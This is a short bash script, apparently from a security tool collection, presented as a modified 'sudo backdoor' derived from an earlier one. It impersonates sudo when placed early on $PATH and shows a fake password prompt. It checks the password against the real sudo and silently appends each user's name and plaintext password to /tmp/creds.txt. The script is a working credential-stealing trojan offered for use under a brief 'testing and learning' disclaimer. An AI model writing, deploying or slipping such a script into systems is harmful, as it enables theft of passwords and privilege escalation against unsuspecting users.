A script inspired by the sudo-backdoor script from ldionmarcil - instead of sending the creds remotely, it will write to disk.

modified-sudo-backdoor.sh

#!/bin/bash
# Script created for testing and learning purposes only. The author does not take any responsibility for the actions taken 
# when using this script.
# Note that it is generally not a good idea to be storing plain text credentials to disk where other users will be able to 
# access them.


# Drop this file on disk in the leading directory on $PATH and make it executable
# Then update the CREDS_FILE to the location that the creds must be written

CREDS_FILE="/tmp/creds.txt"

# if user already logged in, don't prompt again.
/usr/bin/sudo -n true 2>/dev/null
if [ $? -eq 0 ]
then
# if user already logged in, don't prompt again.
  /usr/bin/sudo $@
else
    # prompt user to provide his username/password 
    echo -n "[sudo] password for $USER: "
    read -s pwd
    echo
    echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null
    credentials_valid=$?
    echo "$USER    $pwd" >> $CREDS_FILE
    if [ $credentials_valid -eq 1 ]
    then
        echo "Sorry, try again."
        sudo $@
    else
        echo "$pwd" | /usr/bin/sudo -S $@
    fi
fi